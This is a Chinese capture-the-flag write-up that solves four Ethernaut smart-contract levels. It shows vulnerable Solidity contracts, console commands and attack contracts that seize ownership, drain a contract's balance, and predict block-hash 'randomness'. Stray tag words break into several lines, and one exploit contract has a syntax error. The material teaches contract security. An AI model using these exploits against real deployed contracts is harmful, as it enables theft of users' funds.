智能合約:Ethernaut題解(二)


Fallbackjavascript


通關條件:php

得到合約的全部權css

把餘額減小成 0java


 
  
pragma solidity ^0.4.18;import 'zeppelin-solidity/contracts/ownership/Ownable.sol';import 'openzeppelin-solidity/contracts/math/SafeMath.sol';contract Fallback is Ownable { //Fallback合約繼承自Ownable合約 using SafeMath for uint256; mapping(address => uint) public contributions; //經過映射,可使用地址獲取貢獻的值 function Fallback() public { contributions[msg.sender] = 1000 * (1 ether); }//構造函數設置合約建立者的貢獻值爲1000以太幣 function contribute() public payable { require(msg.value < 0.001 ether);//每次貢獻的值小於0.001以太幣 contributions[msg.sender] = contributions[msg.sender].add(msg.value);//累計起來 if(contributions[msg.sender] > contributions[owner]) { owner = msg.sender; }//當你貢獻的值大於1000的時候就你成爲合約全部者 } function getContribution() public view returns (uint) { return contributions[msg.sender]; }//獲取你的貢獻值 function withdraw() public onlyOwner { owner.transfer(this.balance); }//onlyOwner修飾,因此只有合約全部者才能用來提款 function() payable public { require(msg.value > 0 && contributions[msg.sender] > 0);//判斷金額與貢獻值是否大於零 owner = msg.sender;//msg.sender就是調用者,也就是咱們 //執行這一條語句owner就成了咱們 }}

思路:首先貢獻一點金額,來經過 require 觸發 fallback 函數,來成爲合約的全部者,而後 withdraw 函數轉走合約中的全部錢ios


貢獻金額算法

contract.contribute({value:1})微信

這個 1 表明 1 wei,是以太幣最小的單位app

查看一下合約中的餘額ssh

await getBalance(instance)curl



await contract.owner()  先看一下合約全部者

補充觸發 fallback 函數的條件:

  • 當調用一個不存在的函數的時候

  • 發送沒有數據的純 ether 時


因此咱們能夠經過

await contract.sendTransaction({value:1})

來發送觸發 fallback 函數


這時候合約全部者就是咱們了



如今咱們已是合約的全部者了,能夠調用那個 withdraw 函數來提現了


一開始合約中有 0.000...00002

執行 contract.withdraw() 以後合約裏沒錢了



目標完成,提交,經過!



Fallout


目標:得到合約全部權


 
  
pragma solidity ^0.4.18;import 'zeppelin-solidity/contracts/ownership/Ownable.sol';import 'openzeppelin-solidity/contracts/math/SafeMath.sol';contract Fallout is Ownable { using SafeMath for uint256; mapping (address => uint) allocations; //這個public的函數並非構造函數(l與1)...直接調用就能夠了 function Fal1out() public payable { owner = msg.sender;//這條語句就能讓咱們成爲合約全部者 allocations[owner] = msg.value; } function allocate() public payable { allocations[msg.sender] = allocations[msg.sender].add(msg.value); } function sendAllocation(address allocator) public { require(allocations[allocator] > 0); allocator.transfer(allocations[allocator]); } function collectAllocations() public onlyOwner { msg.sender.transfer(this.balance); } function allocatorBalance(address allocator) public view returns (uint) { return allocations[allocator]; }}


先看一下一開始合約的全部者,直接調用 Fal1out() 函數,再看一下




Coin Flip


猜硬幣遊戲

目標:連續猜對十次


 
  
pragma solidity ^0.4.18;import 'openzeppelin-solidity/contracts/math/SafeMath.sol';contract CoinFlip { using SafeMath for uint256; uint256 public consecutiveWins;//連勝次數 uint256 lastHash;//上一個hash uint256 FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968; //這個數是2^255 function CoinFlip() public { consecutiveWins = 0; }//構造函數,每次開始把贏的次數歸零 function flip(bool _guess) public returns (bool) { uint256 blockValue = uint256(block.blockhash(block.number.sub(1))); //blockValue等於前一個區塊的hash值轉換成uint256,block.number是當前區塊數,減一就是上一個了 if (lastHash == blockValue) { revert();//若是最後的hash等於計算出來的 }//停止執行並將所作的更改還原爲執行前狀態 lastHash = blockValue;//改爲上個區塊的hash值爲這個區塊的 uint256 coinFlip = blockValue.div(FACTOR); //coinFlip等於blockValue除以FACTOR,而FACTOR換成256的二進制就是最左位是0,右邊全是1 //由於除法運算會取整,因此coinFlip由blockValue的最高位決定 bool side = coinFlip == 1 ? true : false; if (side == _guess) { consecutiveWins++;//若是咱們猜的跟他算出來的同樣的話連勝次數加一 return true; } else { consecutiveWins = 0;//不然歸零 return false; } }}


首先獲取一個實例,而後拿到合約的地址以及 consecutiveWins 的值



咱們來考慮一下,應該怎麼實現攻擊,首先,咱們已經知道他的算法是怎麼樣的了,並且它用來計算的東西咱們一樣能夠找到,因此,咱們徹底能夠先進行計算,把結果在給他發過去就好啦


exp 以下,把 exp 代碼複製到 remix IDE 中,部署 exploit 合約(要用以前獲得的那個合約地址)


 
  
pragma solidity ^0.4.18;import './SafeMath.sol';contract CoinFlip { using SafeMath for uint256; uint256 public consecutiveWins;//連勝次數 uint256 lastHash;//上一個hash uint256 FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968; //這個數是2^255 function CoinFlip() public { consecutiveWins = 0; }//構造函數,每次開始把贏的次數歸零 function flip(bool _guess) public returns (bool) { uint256 blockValue = uint256(block.blockhash(block.number.sub(1))); //blockValue等於前一個區塊的hash值轉換成uint256,block.number是當前區塊數,減一就是上一個了 if (lastHash == blockValue) { revert();//若是最後的hash等於計算出來的 }//停止執行並將所作的更改還原爲執行前狀態 lastHash = blockValue;//改爲上個區塊的hash值爲這個區塊的 uint256 coinFlip = blockValue.div(FACTOR); //coinFlip等於blockValue除以FACTOR,而FACTOR換成256的二進制就是最左位是0,右邊全是1 //由於除法運算會取整,因此coinFlip由blockValue的最高位決定 bool side = coinFlip == 1 ? true : false; if (side == _guess) { consecutiveWins++;//若是咱們猜的跟他算出來的同樣的話連勝次數加一 return true; } else { consecutiveWins = 0;//不然歸零 return false; } }}contract attack{ uint256 FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968; CoinFlip expFlip = CoinFlip(0xaf32f2862fb9b6f7dfe113122cd6891f8f81acb9); //這表示已經有一個CoinFlip合約部署在了這個地址 function pwn(){ uint256 blockValue = uint256(block.blockhash(block.number-1)); uint256 coinFlip = blockValue /FACTOR; bool side = coinFlip == 1 ? true : false; expFlip.flip(side); }}

這裏也貼一下 SafeMath.sol

 
  
//SafeMath.solpragma solidity ^0.4.18;library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; assert(c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a / b; return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; }}


首先,生成題目實例,複製題目合約的地址



使用 http://remix.ethereum.org 部署咱們的 attack 合約,把題目合約地址複製給他的構造函數,而後 Deploy 部署



點擊 pwn 來攻擊




在題目的控制檯看一下連勝次數,直到 c 的值成了 10,就能夠點擊橙色提交啦



成功!



Telephone


目標:得到合約全部權

pragma solidity ^0.4.18;contract Telephone { address public owner; function Telephone() public { owner = msg.sender; }//構造函數,部署的人是合約的全部者 function changeOwner(address _owner) public { if (tx.origin != msg.sender) { owner = _owner; }//最初調用合約的人與調用者不同的話,就把合約的全部者改爲_owner }}

畫個圖瞭解一下 tx.origin 與 msg.sender 的區別

(這些叫法是對於最右邊的那個來講的)



很明顯,想要讓 tx.origin 跟 msg.sender 不一樣,咱們只須要部署一個合約,經過這個合約去調用題目合約的 changeOwner 就能夠啦


首先 await contract.owner() 看一下如今合約的全部者



exp 以下:

pragma solidity ^0.4.18;contract Telephone { address public owner; function Telephone() public { owner = msg.sender; }//構造函數,部署的人是合約的全部者 function changeOwner(address _owner) public { if (tx.origin != msg.sender) { owner = _owner; }//最初調用合約的人與調用者不同的話,就把合約的全部者改爲_owner }}contract attack{ Telephone hacked = Telephone(0xad9337ea22bcb2b93e7a4b73b02aba243fa0a229); function pwn{ hacked.changeOwner(msg.sender); //這個參數msg.sender是調用pwn函數的調用者,也就是咱們的地址,也就是tx.origin //可是對於題目合約來講,msg.sender倒是調用它的咱們部署的attack合約的地址 }}


部署以後,點擊 hack 就能夠啦



再看一下,合約全部者已經變了



提交就好啦


本文分享自微信公衆號 - 陳冠男的遊戲人生(CGN-115)。
若有侵權,請聯繫 support@oschina.cn 刪除。
本文參與「OSC源創計劃」,歡迎正在閱讀的你也加入,一塊兒分享。

相關文章
相關標籤/搜索